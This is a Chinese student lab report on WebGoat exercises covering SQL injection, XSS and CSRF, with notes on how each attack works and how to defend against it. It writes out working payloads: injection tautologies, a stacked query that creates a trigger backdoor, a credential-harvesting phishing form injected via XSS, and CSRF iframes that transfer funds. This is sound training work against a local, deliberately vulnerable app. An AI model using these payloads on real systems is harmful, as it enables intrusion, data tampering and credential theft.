20145329 《网络对抗技术》Web安全基础实践
实践的目标
理解常用网络攻击技术的基本原理。Webgoat实践下相关实验:SQL注入攻击、XSS攻击、CSRF攻击。
实验后回答问题
(1)SQL注入攻击原理,如何防御
攻击原理
- SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
预防
- 1、 普通用户与系统管理员用户的权限要有严格的区分。
- 2、 强迫使用参数化语句。
- 3、 加强对用户输入的验证。
- 4、 多多使用SQL Server数据库自带的安全参数。
- 5、必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
(2)XSS攻击的原理,如何防御
攻击原理
- XSS全名:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
预防
-
当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
-
当恶意代码被作为某一标签的属性显示:
通过用将属性截断来开辟新的属性或恶意方法;对用户输入的html 标签及标签属性做白名单过滤,对一些存在漏洞的标签和属性进行专门过滤。 -
HttpOnly防止劫取Cookie,Cookie设置HttpOnly。HttpOnly早由微软提至今已经标准浏览器禁止页面Javascript访问带HttpOnly属性Cookie目前主流浏览器都支持HttpOnly解决XSSCookie支持攻击
(3)CSRF攻击原理,如何防御
攻击原理
- CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性。攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
预防
- 1、通过 referer、token 或者 验证码 来检测用户提交。
- 2、尽量不要在页面的链接中暴露用户隐私信息。
- 3、对于用户修改删除等操作最好都使用post 操作 。
- 4、避免全站通用的cookie,严格设置cookie的域。
实验总结与体会
实验很有趣,对三种攻击:SQL注入、XSS攻击、CSRF攻击有了更好的理解。
实践过程记录
-
开启webgoat:
java -jar webgoat-container-7.0.1-war-exec.jar
-
在浏览器输入localhost:8080/WebGoat,进入webgoat,默认用户名和密码,登录
SQL练习
String SQL Injection
-
下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,结果显示所有的信用卡号码显示。尝试“smith”的用户名。
-
SQL语句查询last name为smith的用户的银行卡号
-
输入
'or 1='1
,第一个分号闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。WHERE后面为一个永真式:last_name='' or 1='1'
,查询永远成功,并且显示所有用户的银行卡号。
Numeric SQL Injection
-
下面的表单允许用户查看天气数据。尝试注入SQL字符串,结果将显示所有天气数据。选择本地气象站: (后面下拉框内显示气象站)
-
webgoat网页界面没有可以注入的入口,选择参数修改,选择burpsuite当成中间服务器,每个数据包都流过它时,使用它默认的值,相当于中间人攻击。
-
进入burpsuite设置代理“Proxy”的“Options”选项,点击add添加后勾选,设置新的代理项。
-
添加绑定5329端口
-
设置浏览器的代理preference-advanced-(Network)settings
-
设置好之后回到题目,任选一项,点击GO,然后回到burpsuite。发现多了捕获的包,右键send to repeater ,我们修改station值从为101 为
101 or 1=1
,点击GO,可以看到右边response包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1
Log Spoofing
-
目标是使它像一个用户名“admin”已成功登录。通过向日志文件中添加脚本来提升攻击。
-
在user name 处写入代码
20145329%0d%0aLogin Succeed!%0d%0aUsername: admin
-
成功
LAB: SQL Injection of stage 1
-
第1阶段:使用字符串SQL注入绕过认证。利用SQL注入日志作为老板('neville”)没有使用正确的密码。验证neville的配置文件可以查看和所有功能可用(包括搜索,创建和删除)。
-
选择用户名为neville的admin用户,输入永真式
' or 1=1 --
为密码,输入时发现密码框文本长度设置不够构造永真式,执行右键->Inpect Element with Firebug,手动修改密码长度为11(永真式长度)
-
登录成功
Database Backdoors
-
第1阶段:使用字符串SQL注入执行多个SQL语句。本课的第一阶段是教你如何使用一个易受影响的字段来创建两个SQL语句。第一个是系统的,第二个是你的。您的帐户ID是101。这个页面允许你看到你的密码,SSN和工资。尝试注入另一个更新更新工资到更高的东西
-
输入101,得到了该用户的信息:
-
输入注入语句:101; update employee set salary=100000,涨工资了~
-
使用语句101;CREATE TRIGGER 5206BackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145329@163.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:
XSS跨站脚本攻击
Phishing with XSS
-
本课是一个例子,一个网站如果有一个已知的XSS攻击网页上支持网络钓鱼攻击。下面是一个标准搜索功能的例子。 利用跨站脚本和HTML插入,你的目标是: 插入HTML到该请求凭据
,添加JavaScript实际收集凭据,端口:8080 HTTP:/ /本地/ WebGoat /人?属性=是,要通过这一课,必须将凭据发送给捕获器servlet。 -
在文本框里面注入代码
</form>
<script>
function hack()
{
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("You've been attacked ... Your Identity information were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
-
跳出一个攻击者编写的填写用户名和密码的表单
-
攻击成功,获取用户名和密码
Stored XSS Attacks
-
这是一个很好的做法来擦洗所有输入,特别是那些后来被用作参数的OS命令,脚本和数据库查询的输入。在应用程序中永久存储的内容尤为重要。用户不能创建邮件内容可能导致另一个用户加载一个不想要的网页或意想不到的内容时,用户的信息检索。
-
输入标题,Message框里面注入脚本语言
<script>
alert("Hello ! this is 5329 !What did you find out? ");
</script>
- 提交后会有一个Message List,点击标题,显示
Reflected XSS Attacks
-
在服务器端验证所有输入总是一个很好的方法。XSS可以发生在未经验证的用户输入用于HTTP响应。在反射型XSS攻击,攻击者可以制作一个URL攻击脚本发送到另一个网站,电子邮件,或让受害者点击它。
-
在Message文本框输入
<script>alert("Hello,this is 5329");</script>
-
攻击成功
CSRF
Cross Site Request Forgery (CSRF)
-
你的目标是把电子邮件发送到新闻组。该电子邮件包含一个图像,其URL指向恶意请求。在本课中的URL应该指向“攻击”servlet与课的“屏幕”和“菜单”参数和一个额外的参数“转移资金”有一个任意的数值,如5000。您可以通过在右边的参数中查找“屏幕”和“菜单”值来构造链接。CSRF的电子邮件,是验证当时收件人将他们的资金转移。当这一课的攻击成功,一个绿色的复选标记出现在课上的菜单名 ,
-
查看参数
-
在文本框中提交一个有URL恶意请求的代码:
<iframe src='attack?Screen=278&menu=900&transferFunds=500' width='1' height='1'></iframe>
-
点击Message List下面的标题,跳转到恶意网站,显示转账成功
CSRF Prompt By-Pass
-
类似的CSRF,你的目标是把邮件发送给一组包含多个恶意请求:资金转移的第一、第二请求确认提示的第一个请求触发。URL应该指向这个CSRF提示通过课的屏幕攻击Servlet,菜单参数和一个额外的参数“转移资金”有一个数字值,如“5000”来启动传输和一个字符串值“确认”来完成它。您可以从右边的插图复制该课程的参数,以创建“攻击”格式的URL?XXX和YYY的菜单屏幕= =和= zzz”转移资金。谁收到这封电子邮件,并碰巧被认证的时间将他的资金转移。当你认为攻击是成功的,刷新页面,你会发现绿色检查左侧菜单
-
查看参数
-
Message文本框键入代码
<iframe
src="attack?Screen=277&menu=900&transferFunds=500">
</iframe>
<iframe
src="attack?Screen=277&menu=900&transferFunds=CONFIRM">
</iframe>```
- 收到转账和转账确认
![](http://images2015.cnblogs.com/blog/886473/201705/886473-20170519095855447-101907421.png)
##完成情况
![](http://images2015.cnblogs.com/blog/886473/201705/886473-20170519100550541-210596130.png)
![](http://images2015.cnblogs.com/blog/886473/201705/886473-20170519100616197-1862061445.png)